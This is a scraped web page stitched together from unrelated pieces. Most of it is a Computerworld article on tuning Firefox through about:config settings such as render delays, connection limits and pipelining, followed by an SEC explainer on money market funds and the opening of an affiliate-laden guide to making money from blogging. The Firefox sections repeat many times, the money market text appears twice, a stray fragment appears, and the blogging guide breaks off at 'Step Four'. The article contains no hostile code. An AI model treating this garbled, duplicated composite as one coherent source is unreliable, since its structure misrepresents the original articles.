still-loading page, Firefox will remain more responsive to user input for a period of time. To control how long this interval is, create an integer preference called content.switch.threshold. Hacking Firefox The secrets of about:config * Before you begin * Speed up page display * Have tabbed browsing your way * Make the user interface behave * Hack network connections * Stop memory hogging This is normally triple the value of content.notify.interval, but I typically set it to be the same as that value. Set it to something very low -- say, 10000 (10,000 microseconds) -- and the browser may not respond as snappily, but it may cause the rendering to complete more quickly. If you haven't already created the Boolean values content.notify.ontimer and content.interrupt.parsing and set them both to true in conjunction with content.max.tokenizing.time, you'll need to do so to make content.switch.threshold work properly. If you are more inclined to wait for a page to finish loading before attempting to do anything with it (like scroll through it), you can set content.max.tokenizing.time to a higher value and content.switch.threshold to a lower value to allow Firefox to finish rendering a page faster at the expense of processing user commands. On the other hand, if you're the kind of person who likes to scroll through a page and start reading it before it's done loading, you can set content.max.tokenizing.time to a lower value and content.switch.threshold to a higher one, to give you back that much more responsiveness at the cost of page-rendering speed.

Speed up page display Some of the more recent Firefox customizations I've examined are ways to speed up the rendering of Web pages. The settings to do this are a little arcane and not terribly self-explanatory, but with a little tinkering, you can often get pages to pop up faster and waste less time redrawing themselves. Start rendering pages faster Creating an nglayout.initialpaint.delay integer preference lets you control how long Firefox waits before starting to render a page. If this value isn't set, Firefox defaults to 250 milliseconds, or 0.25 of a second. Some people report that setting it to 0 -- i.e., forcing Firefox to begin rendering immediately -- causes almost all pages to show up faster. Values as high as 50 are also pretty snappy. Reduce the number of reflows When Firefox is actively loading a page, it periodically reformats or "reflows" the page as it loads, based on what data has been received. Create a content.notify.interval integer preference to control the minimum number of microseconds (millionths of a second) that elapse between reflows. If it's not explicitly set, it defaults to 120000 (0.12 of a second). Too many reflows may make the browser feel sluggish, so you can increase the interval between reflows by raising this to 500000 (500,000, or 1/2 second) or even to 1000000 (1 million, or 1 second). If you set this value, be sure to also create a Boolean value called content.notify.ontimer and set it to true. A page A page "reflowing" while loading in Firefox. Control Firefox's 'unresponsive' time When rendering a page, Firefox periodically runs a little faster internally to speed up the rendering process (a method Mozilla calls "tokenizing"), but at the expense of being unresponsive to user input for that length of time. If you want to set the maximum length of time any one of these unresponsive periods can be, create an integer preference called content.max.tokenizing.time. Set this to a multiple of content.notify.interval's value, or even the same value (but higher is probably better). If you set this to something lower than content.notify.interval, the browser may respond more often to user input while pages are being rendered, but the page itself will render that much more slowly. If you set a value for content.max.tokenizing.time, you also need to create two more Boolean values -- content.notify.ontimer and content.interrupt.parsing -- and set them both to true. Control Firefox's 'highly responsive' time If Firefox is rendering a page and the user performs some kind of command, like scrolling through a still-loading page, Firefox will remain more responsive to user input for a period of time. To control how long this interval is, create an integer preference called content.switch.threshold. Hacking Firefox The secrets of about:config * Before you begin * Speed up page display * Have tabbed browsing your way * Make the user interface behave * Hack network connections * Stop memory hogging This is normally triple the value of content.notify.interval, but I typically set it to be the same as that value. Set it to something very low -- say, 10000 (10,000 microseconds) -- and the browser may not respond as snappily, but it may cause the rendering to complete more quickly. If you haven't already created the Boolean values content.notify.ontimer and content.interrupt.parsing and set them both to true in conjunction with content.max.tokenizing.time, you'll need to do so to make content.switch.threshold work properly. If you are more inclined to wait for a page to finish loading before attempting to do anything with it (like scroll through it), you can set content.max.tokenizing.time to a higher value and content.switch.threshold to a lower value to allow Firefox to finish rendering a page faster at the expense of processing user commands. On the other hand, if you're the kind of person who likes to scroll through a page and start reading it before it's done loading, you can set content.max.tokenizing.time to a lower value and content.switch.threshold to a higher one, to give you back that much more responsiveness at the cost of page-rendering speed.

Hacking Firefox: The secrets of about:config

Discover more than 20 behind-the-scenes tweaks for speeding up page loads, reducing memory drain and making the interface behave the way you want it to

By Serdar Yegulalp

May 29, 2007 12:00 PM ET

Comments (31)

Recommended (716)

Computerworld - Ever since its debut, Firefox has garnered a reputation for being an enormously customizable program, both through its add-on architecture and its internal settings. In fact, many of Firefox's settings aren't exposed through the Tools > Options menu; the only way to change them is to edit them manually. In this article, we'll explore some of the most useful Firefox settings that you can change on your own and that aren't normally available through the program's graphical interface.

The closest analogy to how Firefox manages its internal settings is the Windows Registry. Each setting, or preference, is given a name and stored as a string (text), integer (number) or Boolean (true/false) value. However, Firefox doesn't keep its settings in the registry, but in a file called prefs.js. You can edit prefs.js directly, but it's often easier to change the settings through the browser window.
Type about:config in the address bar and press Enter, and you'll see all the settings currently enumerated in prefs.js, listed in alphabetical order. To narrow down the hundreds of configuration preferences to just the few you need, type a search term into the Filter: bar. (Click the Show All button or just clear the Filter: bar to get the full list back again.)

The about:config page. (Click for larger view.)

To edit a preference, double-click on the name and you'll be prompted for the new value. If you double-click on an entry that has a Boolean value, it'll just switch from true to false or vice versa; double-click again to revert to the original setting. Not all changes take effect immediately, so if you want to be absolutely certain a given change is in effect, be sure to close and reopen Firefox after making a change.

Editing a preference. (Click for larger view.)

Note that not every setting in about:config exists by default. Some of them have to be created manually. If you want to add a new preference, right-click somewhere on the page and select New, then select the type of item to create (String, Integer or Boolean) and supply the name and value.

Before you begin

Here are a few caveats to keep in mind as you explore and tweak:
Not everyone will get the same benefits by enabling these tweaks. This is especially true for changing the network settings. If you habitually visit sites that don't allow a large number of connections per client, for instance, you won't see much benefit from raising the number of connections per server.
Some hacks may have a limited shelf life. With each successive release of Firefox, the need for tweaking any of the performance-related config settings (like the network settings) may dwindle as Firefox becomes more self-tuning based on feedback from real-world usage scenarios. In short, what works now may not always work in the future -- and that might not be a bad thing.

Hacking Firefox The secrets of about:config Before you begin Speed up page display Have tabbed browsing your way Make the user interface behave Hack network connections Stop memory hogging

Keep a log of everything you change, or make backups. If you tweak something now and notice bizarre activity in a week, you'll want to be able to track back to what was altered and undo it. Firefox does show which about:config changes have been set manually, but this isn't always the most accurate way to find out what you changed. To make a backup of your preferences in Firefox, just make a copy of the file prefs.js, which is kept in your Firefox profile folder. If you mess something up, you can always copy this file back in. (Be sure to shut down Firefox before making a copy of prefs.js or moving a copy back into the profile folder!)
In Windows XP, the profile folder is
\Documents and Settings\<username>\Application Data\Mozilla\Firefox\Profiles\<profile ID>.default\
In Windows Vista, this folder is
\Users\<username>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile ID>.default\
Note that Application Data and AppData are hidden folders by default, so they may not show up unless you force Explorer to show hidden objects. (Open the Control Panel, double-click Folder Options, select the View tab, select "Show hidden files and folders" and click OK.)
In Mac OS X, the profile folder is
<username>/Library/Application Support/Firefox/Profiles/<profile ID>.default/
and in Linux it's
~/.mozilla/firefox/<profile ID>.default/
but on those platforms it's usually quicker simply to search for prefs.js.
Alternatively, you can use the handy Firefox Extension Backup Extension (FEBE). It backs up not only the prefs.js file but just about every other thing in Firefox -- extensions, themes, cookies, form history and so on.

Hacking Firefox: The secrets of about:config

Discover more than 20 behind-the-scenes tweaks for speeding up page loads, reducing memory drain and making the interface behave the way you want it to

By Serdar Yegulalp

May 29, 2007 12:00 PM ET

Comments (31)

Recommended (716)

Computerworld - Ever since its debut, Firefox has garnered a reputation for being an enormously customizable program, both through its add-on architecture and its internal settings. In fact, many of Firefox's settings aren't exposed through the Tools > Options menu; the only way to change them is to edit them manually. In this article, we'll explore some of the most useful Firefox settings that you can change on your own and that aren't normally available through the program's graphical interface.

The closest analogy to how Firefox manages its internal settings is the Windows Registry. Each setting, or preference, is given a name and stored as a string (text), integer (number) or Boolean (true/false) value. However, Firefox doesn't keep its settings in the registry, but in a file called prefs.js. You can edit prefs.js directly, but it's often easier to change the settings through the browser window.
Type about:config in the address bar and press Enter, and you'll see all the settings currently enumerated in prefs.js, listed in alphabetical order. To narrow down the hundreds of configuration preferences to just the few you need, type a search term into the Filter: bar. (Click the Show All button or just clear the Filter: bar to get the full list back again.)

The about:config page. (Click for larger view.)

To edit a preference, double-click on the name and you'll be prompted for the new value. If you double-click on an entry that has a Boolean value, it'll just switch from true to false or vice versa; double-click again to revert to the original setting. Not all changes take effect immediately, so if you want to be absolutely certain a given change is in effect, be sure to close and reopen Firefox after making a change.

Editing a preference. (Click for larger view.)

Note that not every setting in about:config exists by default. Some of them have to be created manually. If you want to add a new preference, right-click somewhere on the page and select New, then select the type of item to create (String, Integer or Boolean) and supply the name and value.

Before you begin

Here are a few caveats to keep in mind as you explore and tweak:
Not everyone will get the same benefits by enabling these tweaks. This is especially true for changing the network settings. If you habitually visit sites that don't allow a large number of connections per client, for instance, you won't see much benefit from raising the number of connections per server.
Some hacks may have a limited shelf life. With each successive release of Firefox, the need for tweaking any of the performance-related config settings (like the network settings) may dwindle as Firefox becomes more self-tuning based on feedback from real-world usage scenarios. In short, what works now may not always work in the future -- and that might not be a bad thing.

Hacking Firefox The secrets of about:config Before you begin Speed up page display Have tabbed browsing your way Make the user interface behave Hack network connections Stop memory hogging

Keep a log of everything you change, or make backups. If you tweak something now and notice bizarre activity in a week, you'll want to be able to track back to what was altered and undo it. Firefox does show which about:config changes have been set manually, but this isn't always the most accurate way to find out what you changed. To make a backup of your preferences in Firefox, just make a copy of the file prefs.js, which is kept in your Firefox profile folder. If you mess something up, you can always copy this file back in. (Be sure to shut down Firefox before making a copy of prefs.js or moving a copy back into the profile folder!)
In Windows XP, the profile folder is
\Documents and Settings\<username>\Application Data\Mozilla\Firefox\Profiles\<profile ID>.default\
In Windows Vista, this folder is
\Users\<username>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile ID>.default\
Note that Application Data and AppData are hidden folders by default, so they may not show up unless you force Explorer to show hidden objects. (Open the Control Panel, double-click Folder Options, select the View tab, select "Show hidden files and folders" and click OK.)
In Mac OS X, the profile folder is
<username>/Library/Application Support/Firefox/Profiles/<profile ID>.default/
and in Linux it's
~/.mozilla/firefox/<profile ID>.default/
but on those platforms it's usually quicker simply to search for prefs.js.
Alternatively, you can use the handy Firefox Extension Backup Extension (FEBE). It backs up not only the prefs.js file but just about every other thing in Firefox -- extensions, themes, cookies, form history and so on.

Hack network connections

Hack network connections

Hack network connections

The very first batch of Firefox hacks I learned about was how to override its network defaults. Some of Firefox's out-of-the-box settings for how it deals with network connections are fairly conservative, probably because Firefox has no way of knowing what kind of network it's using (dial-up vs. broadband, etc.). If you have a network that readily supports multiple simultaneous connections, you can make a number of changes to Firefox to take advantage of that.
But proceed with caution. If Firefox's network settings are set too aggressively, they can lead you to being blacklisted for a short time by a given remote server. And you should certainly get permission from the IT department before attempting this kind of hack in a corporate environment. Regardless, moderation is the key. For the most part, I find that setting the network settings to absurdly high numbers does not accomplish much of anything; it helps to ramp them up a bit, but generally not much more than that.
Maximize connections to multiple servers
The integer preference network.http.max-connections controls how many simultaneous network connections Firefox will make at any one time to any number of Web servers. One typical way this pays off is if you have Firefox set to load multiple home pages in different tabs at once, or if you access pages that aggregate contents from several different servers (for instance, multiple advertising systems).
By default, this is set to 24, which should work well for most network connections, but you can raise it to 32 and see if that has any effect. (I've seen people raise this as high as 64, but anything above 32 doesn't seem to provide much discernible payoff.)
Maximize connections to the same server
The integer preference network.http.max-connections-per-server controls how many separate connections Firefox makes to the same server, which allows multiple elements in a page to be downloaded in parallel. Normally, this is set to 8, but some people choose to set it as high as 16.
Note, however, that some Web servers will block you if you try to establish more than 8 inbound connections, typically as a bandwidth-protection or antileeching measure -- this is the kind of behavior also exhibited by download managers that try to use as many "slots" as possible to speed things up, and many server admins hate that sort of thing. Also, if you're on a connection that's not fast to begin with (e.g., slow ISDN or dial-up), changing this setting will have no discernible effect, and may in fact slow things down.
Bump up persistent connections per server
Firefox keeps persistent connections to a server "alive" to improve performance: Instead of simply sending the results of one request and then closing, they're held open so that multiple requests can pass back and forth. This means a little less network traffic overall, since a connection to a given server has to be set up only once, instead of once for each separate piece of content; it also means successive connections to the same server go through faster.
The integer preference network.http.max-persistent-connections-per-server controls the number of persistent connections allowed per server. By default, this is set to 2, although some servers will honor a higher number of persistent connections (for instance, if there's a lot of content from their site that loads in parallel, like images or the contents of frames). You probably only want to go as high as 8 with this; more than that may cause a server to temporarily blacklist your IP address depending on how it's configured. (If you're going through a proxy defined by Firefox, use network.http.max-persistent-connections-per-proxy instead of this setting.)

Hacking Firefox The secrets of about:config Before you begin Speed up page display Have tabbed browsing your way Make the user interface behave Hack network connections Stop memory hogging

Reduce the interval between persistent connections
If you've already used up all the persistent server connections described in the above setting and Firefox needs to make more connections, the integer setting network.http.request.max-start-delay governs how long to wait before attempting to open new connections. This helps if Firefox's persistent-connection limit has been used up by a number of long downloads, and the browser needs to queue a shorter download on top of that. Most people set this to 0 (in seconds), with the default being 10. Note that this does not override connection limits imposed by remote hosts, so its usefulness is limited by the whim of the server you're connecting to.
Turn on pipelining
The Boolean preference network.http.pipelining enables an experimental acceleration technique called "pipelining," which speeds up the loading of most Web pages. A browser normally waits for some acknowledgment of a given request from a server before attempting to send another one to that server; pipelining sends multiple requests at once without waiting for responses one at a time.
If you turn this on (that is, set its value to true), also be sure to create or edit the integer preference network.http.pipelining.maxrequests, which controls the maximum number of requests that can be pipelined at once. 16 should do it; some people go as high as 128 but there's not much evidence it'll help. (If you use a proxy, set network.http.proxy.pipelining to true as well.)
Note that not every Web server honors pipelining requests correctly, which is why this feature is turned off by default and still considered experimental. Some sites may behave strangely if you submit pipelined requests.

Hack network connections

The very first batch of Firefox hacks I learned about was how to override its network defaults. Some of Firefox's out-of-the-box settings for how it deals with network connections are fairly conservative, probably because Firefox has no way of knowing what kind of network it's using (dial-up vs. broadband, etc.). If you have a network that readily supports multiple simultaneous connections, you can make a number of changes to Firefox to take advantage of that.
But proceed with caution. If Firefox's network settings are set too aggressively, they can lead you to being blacklisted for a short time by a given remote server. And you should certainly get permission from the IT department before attempting this kind of hack in a corporate environment. Regardless, moderation is the key. For the most part, I find that setting the network settings to absurdly high numbers does not accomplish much of anything; it helps to ramp them up a bit, but generally not much more than that.
Maximize connections to multiple servers
The integer preference network.http.max-connections controls how many simultaneous network connections Firefox will make at any one time to any number of Web servers. One typical way this pays off is if you have Firefox set to load multiple home pages in different tabs at once, or if you access pages that aggregate contents from several different servers (for instance, multiple advertising systems).
By default, this is set to 24, which should work well for most network connections, but you can raise it to 32 and see if that has any effect. (I've seen people raise this as high as 64, but anything above 32 doesn't seem to provide much discernible payoff.)
Maximize connections to the same server
The integer preference network.http.max-connections-per-server controls how many separate connections Firefox makes to the same server, which allows multiple elements in a page to be downloaded in parallel. Normally, this is set to 8, but some people choose to set it as high as 16.
Note, however, that some Web servers will block you if you try to establish more than 8 inbound connections, typically as a bandwidth-protection or antileeching measure -- this is the kind of behavior also exhibited by download managers that try to use as many "slots" as possible to speed things up, and many server admins hate that sort of thing. Also, if you're on a connection that's not fast to begin with (e.g., slow ISDN or dial-up), changing this setting will have no discernible effect, and may in fact slow things down.
Bump up persistent connections per server
Firefox keeps persistent connections to a server "alive" to improve performance: Instead of simply sending the results of one request and then closing, they're held open so that multiple requests can pass back and forth. This means a little less network traffic overall, since a connection to a given server has to be set up only once, instead of once for each separate piece of content; it also means successive connections to the same server go through faster.
The integer preference network.http.max-persistent-connections-per-server controls the number of persistent connections allowed per server. By default, this is set to 2, although some servers will honor a higher number of persistent connections (for instance, if there's a lot of content from their site that loads in parallel, like images or the contents of frames). You probably only want to go as high as 8 with this; more than that may cause a server to temporarily blacklist your IP address depending on how it's configured. (If you're going through a proxy defined by Firefox, use network.http.max-persistent-connections-per-proxy instead of this setting.)

Hacking Firefox The secrets of about:config Before you begin Speed up page display Have tabbed browsing your way Make the user interface behave Hack network connections Stop memory hogging

Reduce the interval between persistent connections
If you've already used up all the persistent server connections described in the above setting and Firefox needs to make more connections, the integer setting network.http.request.max-start-delay governs how long to wait before attempting to open new connections. This helps if Firefox's persistent-connection limit has been used up by a number of long downloads, and the browser needs to queue a shorter download on top of that. Most people set this to 0 (in seconds), with the default being 10. Note that this does not override connection limits imposed by remote hosts, so its usefulness is limited by the whim of the server you're connecting to.
Turn on pipelining
The Boolean preference network.http.pipelining enables an experimental acceleration technique called "pipelining," which speeds up the loading of most Web pages. A browser normally waits for some acknowledgment of a given request from a server before attempting to send another one to that server; pipelining sends multiple requests at once without waiting for responses one at a time.
If you turn this on (that is, set its value to true), also be sure to create or edit the integer preference network.http.pipelining.maxrequests, which controls the maximum number of requests that can be pipelined at once. 16 should do it; some people go as high as 128 but there's not much evidence it'll help. (If you use a proxy, set network.http.proxy.pipelining to true as well.)
Note that not every Web server honors pipelining requests correctly, which is why this feature is turned off by default and still considered experimental. Some sites may behave strangely if you submit pipelined requests.

DSFS

DSFS

Hack network connections

The very first batch of Firefox hacks I learned about was how to override its network defaults. Some of Firefox's out-of-the-box settings for how it deals with network connections are fairly conservative, probably because Firefox has no way of knowing what kind of network it's using (dial-up vs. broadband, etc.). If you have a network that readily supports multiple simultaneous connections, you can make a number of changes to Firefox to take advantage of that.
But proceed with caution. If Firefox's network settings are set too aggressively, they can lead you to being blacklisted for a short time by a given remote server. And you should certainly get permission from the IT department before attempting this kind of hack in a corporate environment. Regardless, moderation is the key. For the most part, I find that setting the network settings to absurdly high numbers does not accomplish much of anything; it helps to ramp them up a bit, but generally not much more than that.
Maximize connections to multiple servers
The integer preference network.http.max-connections controls how many simultaneous network connections Firefox will make at any one time to any number of Web servers. One typical way this pays off is if you have Firefox set to load multiple home pages in different tabs at once, or if you access pages that aggregate contents from several different servers (for instance, multiple advertising systems).
By default, this is set to 24, which should work well for most network connections, but you can raise it to 32 and see if that has any effect. (I've seen people raise this as high as 64, but anything above 32 doesn't seem to provide much discernible payoff.)
Maximize connections to the same server
The integer preference network.http.max-connections-per-server controls how many separate connections Firefox makes to the same server, which allows multiple elements in a page to be downloaded in parallel. Normally, this is set to 8, but some people choose to set it as high as 16.
Note, however, that some Web servers will block you if you try to establish more than 8 inbound connections, typically as a bandwidth-protection or antileeching measure -- this is the kind of behavior also exhibited by download managers that try to use as many "slots" as possible to speed things up, and many server admins hate that sort of thing. Also, if you're on a connection that's not fast to begin with (e.g., slow ISDN or dial-up), changing this setting will have no discernible effect, and may in fact slow things down.
Bump up persistent connections per server
Firefox keeps persistent connections to a server "alive" to improve performance: Instead of simply sending the results of one request and then closing, they're held open so that multiple requests can pass back and forth. This means a little less network traffic overall, since a connection to a given server has to be set up only once, instead of once for each separate piece of content; it also means successive connections to the same server go through faster.
The integer preference network.http.max-persistent-connections-per-server controls the number of persistent connections allowed per server. By default, this is set to 2, although some servers will honor a higher number of persistent connections (for instance, if there's a lot of content from their site that loads in parallel, like images or the contents of frames). You probably only want to go as high as 8 with this; more than that may cause a server to temporarily blacklist your IP address depending on how it's configured. (If you're going through a proxy defined by Firefox, use network.http.max-persistent-connections-per-proxy instead of this setting.)

Hacking Firefox The secrets of about:config Before you begin Speed up page display Have tabbed browsing your way Make the user interface behave Hack network connections Stop memory hogging

Reduce the interval between persistent connections
If you've already used up all the persistent server connections described in the above setting and Firefox needs to make more connections, the integer setting network.http.request.max-start-delay governs how long to wait before attempting to open new connections. This helps if Firefox's persistent-connection limit has been used up by a number of long downloads, and the browser needs to queue a shorter download on top of that. Most people set this to 0 (in seconds), with the default being 10. Note that this does not override connection limits imposed by remote hosts, so its usefulness is limited by the whim of the server you're connecting to.
Turn on pipelining
The Boolean preference network.http.pipelining enables an experimental acceleration technique called "pipelining," which speeds up the loading of most Web pages. A browser normally waits for some acknowledgment of a given request from a server before attempting to send another one to that server; pipelining sends multiple requests at once without waiting for responses one at a time.
If you turn this on (that is, set its value to true), also be sure to create or edit the integer preference network.http.pipelining.maxrequests, which controls the maximum number of requests that can be pipelined at once. 16 should do it; some people go as high as 128 but there's not much evidence it'll help. (If you use a proxy, set network.http.proxy.pipelining to true as well.)
Note that not every Web server honors pipelining requests correctly, which is why this feature is turned off by default and still considered experimental. Some sites may behave strangely if you submit pipelined requests.

Hack network connections

The very first batch of Firefox hacks I learned about was how to override its network defaults. Some of Firefox's out-of-the-box settings for how it deals with network connections are fairly conservative, probably because Firefox has no way of knowing what kind of network it's using (dial-up vs. broadband, etc.). If you have a network that readily supports multiple simultaneous connections, you can make a number of changes to Firefox to take advantage of that.
But proceed with caution. If Firefox's network settings are set too aggressively, they can lead you to being blacklisted for a short time by a given remote server. And you should certainly get permission from the IT department before attempting this kind of hack in a corporate environment. Regardless, moderation is the key. For the most part, I find that setting the network settings to absurdly high numbers does not accomplish much of anything; it helps to ramp them up a bit, but generally not much more than that.
Maximize connections to multiple servers
The integer preference network.http.max-connections controls how many simultaneous network connections Firefox will make at any one time to any number of Web servers. One typical way this pays off is if you have Firefox set to load multiple home pages in different tabs at once, or if you access pages that aggregate contents from several different servers (for instance, multiple advertising systems).
By default, this is set to 24, which should work well for most network connections, but you can raise it to 32 and see if that has any effect. (I've seen people raise this as high as 64, but anything above 32 doesn't seem to provide much discernible payoff.)
Maximize connections to the same server
The integer preference network.http.max-connections-per-server controls how many separate connections Firefox makes to the same server, which allows multiple elements in a page to be downloaded in parallel. Normally, this is set to 8, but some people choose to set it as high as 16.
Note, however, that some Web servers will block you if you try to establish more than 8 inbound connections, typically as a bandwidth-protection or antileeching measure -- this is the kind of behavior also exhibited by download managers that try to use as many "slots" as possible to speed things up, and many server admins hate that sort of thing. Also, if you're on a connection that's not fast to begin with (e.g., slow ISDN or dial-up), changing this setting will have no discernible effect, and may in fact slow things down.
Bump up persistent connections per server
Firefox keeps persistent connections to a server "alive" to improve performance: Instead of simply sending the results of one request and then closing, they're held open so that multiple requests can pass back and forth. This means a little less network traffic overall, since a connection to a given server has to be set up only once, instead of once for each separate piece of content; it also means successive connections to the same server go through faster.
The integer preference network.http.max-persistent-connections-per-server controls the number of persistent connections allowed per server. By default, this is set to 2, although some servers will honor a higher number of persistent connections (for instance, if there's a lot of content from their site that loads in parallel, like images or the contents of frames). You probably only want to go as high as 8 with this; more than that may cause a server to temporarily blacklist your IP address depending on how it's configured. (If you're going through a proxy defined by Firefox, use network.http.max-persistent-connections-per-proxy instead of this setting.)

Hacking Firefox The secrets of about:config Before you begin Speed up page display Have tabbed browsing your way Make the user interface behave Hack network connections Stop memory hogging

Reduce the interval between persistent connections
If you've already used up all the persistent server connections described in the above setting and Firefox needs to make more connections, the integer setting network.http.request.max-start-delay governs how long to wait before attempting to open new connections. This helps if Firefox's persistent-connection limit has been used up by a number of long downloads, and the browser needs to queue a shorter download on top of that. Most people set this to 0 (in seconds), with the default being 10. Note that this does not override connection limits imposed by remote hosts, so its usefulness is limited by the whim of the server you're connecting to.
Turn on pipelining
The Boolean preference network.http.pipelining enables an experimental acceleration technique called "pipelining," which speeds up the loading of most Web pages. A browser normally waits for some acknowledgment of a given request from a server before attempting to send another one to that server; pipelining sends multiple requests at once without waiting for responses one at a time.
If you turn this on (that is, set its value to true), also be sure to create or edit the integer preference network.http.pipelining.maxrequests, which controls the maximum number of requests that can be pipelined at once. 16 should do it; some people go as high as 128 but there's not much evidence it'll help. (If you use a proxy, set network.http.proxy.pipelining to true as well.)
Note that not every Web server honors pipelining requests correctly, which is why this feature is turned off by default and still considered experimental. Some sites may behave strangely if you submit pipelined requests.

Money Market Funds

Money Market Funds

A money market fund is a type of mutual fund that is required by law to invest in low-risk securities. These funds have relatively low risks compared to other mutual funds and pay dividends that generally reflect short-term interest rates. Unlike a “money market deposit account” at a bank, money market funds are not federally insured.
Money market funds typically invest in government securities, certificates of deposit, commercial paper of companies, or other highly liquid and low-risk securities. They attempt to keep their net asset value (NAV) at a constant $1.00 per share – only the yield goes up and down. But a money market’s per share NAV may fall below $1.00 if the investments perform poorly. While investor losses in money markets have been rare, they are possible.
An investor tendering mutual fund shares, including shares of money market funds, for redemption generally must be paid within seven days of tender. Pursuant to Section 22(e) of the Investment Company Act of 1940, registered open-end companies may not suspend the right of redemption and must pay redemption proceeds within seven days, except in certain emergencies or for such other periods as the Commission may by order permit for the protection of security holders of the company.

Before investing in a money market fund, you should carefully read all of the fund’s available information, including its prospectus, or profile if the fund has one, and its most recent shareholder report.
Money market funds are regulated primarily under the Investment Company Act of 1940 and the rules adopted under that Act, particularly Rule 2a-7 under the Act.

http://www.sec.gov/answers/mfmmkt.htm

Money Market Funds

A money market fund is a type of mutual fund that is required by law to invest in low-risk securities. These funds have relatively low risks compared to other mutual funds and pay dividends that generally reflect short-term interest rates. Unlike a “money market deposit account” at a bank, money market funds are not federally insured.
Money market funds typically invest in government securities, certificates of deposit, commercial paper of companies, or other highly liquid and low-risk securities. They attempt to keep their net asset value (NAV) at a constant $1.00 per share – only the yield goes up and down. But a money market’s per share NAV may fall below $1.00 if the investments perform poorly. While investor losses in money markets have been rare, they are possible.
An investor tendering mutual fund shares, including shares of money market funds, for redemption generally must be paid within seven days of tender. Pursuant to Section 22(e) of the Investment Company Act of 1940, registered open-end companies may not suspend the right of redemption and must pay redemption proceeds within seven days, except in certain emergencies or for such other periods as the Commission may by order permit for the protection of security holders of the company.

Before investing in a money market fund, you should carefully read all of the fund’s available information, including its prospectus, or profile if the fund has one, and its most recent shareholder report.
Money market funds are regulated primarily under the Investment Company Act of 1940 and the rules adopted under that Act, particularly Rule 2a-7 under the Act.

http://www.sec.gov/answers/mfmmkt.htm

make money blogging

make money blogging

A step by step guide to making money blogging

If I have been asked the question,” how on earth do you make money blogging ?” once, I have been asked it a thousand times. There is an awful lot of misinformation out there about blogging and the problem is that the failures outweigh the successes by about a million to one, so for every successful blogger out there, there are 999,999 people telling you that you cannot make money blogging. What they really mean is they cannot make money blogging.
The other problem is that a good proportion of the people who make money blogging do it by selling crappy advice to the other 999,999 failures. I am not going to do that. I am not selling a damn thing, although if you take my advice and sign up for the tools I use, I will make a couple of dollars in commissions. All I need is 999,999 people to take my advice and I will be set for life, in which case – anyone want to buy a few blogs?
Just kidding, I would never part with them . But let’s go back to the question most people really want to ask - “Can I make money blogging ? and if so – how?”

The answer is yes. I am a professional blogger and have been for several years. I do it with a combination of freelance writing, several niche blogs, article writing and, for the last 18 months, writing a business blog for a luxury property portal. This last one – if you are considering blogging for business – requires you to have already developed a reputation in a particular industry, and being able to demonstrate the necessary skills to make it work. Which includes generating traffic, building relationships and incoming links and actually being a successful blogger.
There is more than one way to skin a cat, and for the purposes of this article I am going to show you the steps needed to create your own money making blogs. I say blogs rather than blog because the chances are that you – like me – are going to fail in some instances and be successful in others. This will probably mean more than one domain and/or niche. The trick is to then capitalize on the successful ones. For ease of use, all the links in this article will open in a new window. This is how to go about it:
Step One – Choose a niche and domain name
Yes – this is the first step. Not, “Oh, I have a blogger blog called michelle and johns cats favorite toys.blogspot.com, how do I go about making money from it?” Forget that – you need to identify a niche or subject that could potentially be a profitable one, choose a domain name based on the research you have done, buy it , host it and set up the blog. This is where it gets boring, because you will have to research this. Sorry – now the work begins. You didn’t think it was going to be that easy making money from a blog did you? Don’t worry if buying a domain and hosting it means nothing to you – we will get to that. Of course, having said all that, some one is bound to stop by and tell me that selling toys for cats was the best thing they ever got into and they are now living a life of luxury in the Bahamas off the proceeds.
Researching a potential money making niche or subject.
This is where the work begins. I can promise you from personal experience, that if you are setting up a blog with the sole intention of making money, you need to find a profitable niche.  As an example, let us say you have done some research, and settled on hair care products as a potentially profitable niche and decided to make money from your blog by selling hair care products. A possible search term that some one might use to search for a hair care product would be “hair care shampoo,” so an appropriate domain name would be haircareshampoo.com. Whereas you are unlikely to sell many hair care products through, dogtraining.com. The other things to take into consideration are the amount of people searching for a particular term, the amount of money advertisers are paying to advertise using that particular phrase, and how competitive that term is.
This is where the research comes in. Now, this subject is huge, and I do not plan to go into great detail, because there are other people specializing in this area, some of which are excellent. As far as I am concerned, this is by far the most technically demanding part of  making money with a blog, and I personally hate doing it – but, it is a necessary step in the process. This is my first recommendation
To learn how to do effective keyword research, go download this piece of free software -  Market Samurai
Sign up and follow their video lessons. After 12 days, you need to pay a fee of $97 to continue to use it – trust me – it is well worth the investment and will save you countless hours of time.
Step two – Buying a domain name (your website) and hosting it

Let’s stick with haircareshampoo.com. We have decided that this would be a good name to sell haircare products. Whether we are going to actually sell our own product, use google advertising, sell affiliate products or sell banner ads really makes no difference here. Go to Bluehost or Host Gator and use their search facility to see if that name is available by clicking on the button that says “start domain search” and filling in the word “haircareshampoo,” and seeing if it is available. If it is (which this one is not) you then need to open an account, and buy both the domain and hosting from them. I prefer their unlimited hosting packages, but of you are on a tight budget, get whichever is affordable for you.
Step Three – Setting up your blog and installing it
This is one of the reasons why I like both Bluehost and Host Gator. To do this step – phone their customer service department, tell them you want to install a WordPress blog and ask them to talk you through the process, which they will do. In ten minutes flat, you will have your own WordPress blog set up and ready to storm the blogosphere with. What I will say is – if you have chosen a different hosting company, make sure they have one click installations for WordPress.
There are dozens of other platforms out there, but I heartily recommend WordPress and would not use anything else. Next part is to optimize your WordPress installation, and the easiest, most time effective way of doing so is to go to Semiologic, buy their software and ask them to install it for you. One issue facing a first time blogger is the massive amount of options available to you. Semiologic will take care of most of these – all within one piece of software.
I have wasted countless hours of my time trying to find the perfect look and/or position for one stupid little piece of text or ad placement. With this software – the instructions are simple, easy to follow and they have a pretty good customer service response. I say “pretty good” because this is a three-man band, not a great big corporation. Also – this comes with  a fantastic piece of software that allows you to “clone ” a setup. So, once you have one blog that is working well for you – you can buy another domain and clone that one in a few minutes with all the ads in place. This is hands down the best blogging software on the planet.
This is also a brilliant piece of software for setting up a static website rather than a blog. It gets found by the search engines, is very flexible and inexpensive. Once you have it, you can use it on as many websites as you wish and update it with one click as the software evolves. This blog and all my other blogs are semiologic wordpress blogs, and have more than enough custom options to satisfy just about anyone – and you can take it from me that you are far better off spending your time researching, writing and promoting your work than you are pissing around trying to make the “perfect” look.
Buy semiologic wordpress setup here
So, now you have a domain name, software installed and ready to go, and are looking at the metaphorical blank piece of paper that is in your blog – the post editing page.
Step Four- writing something
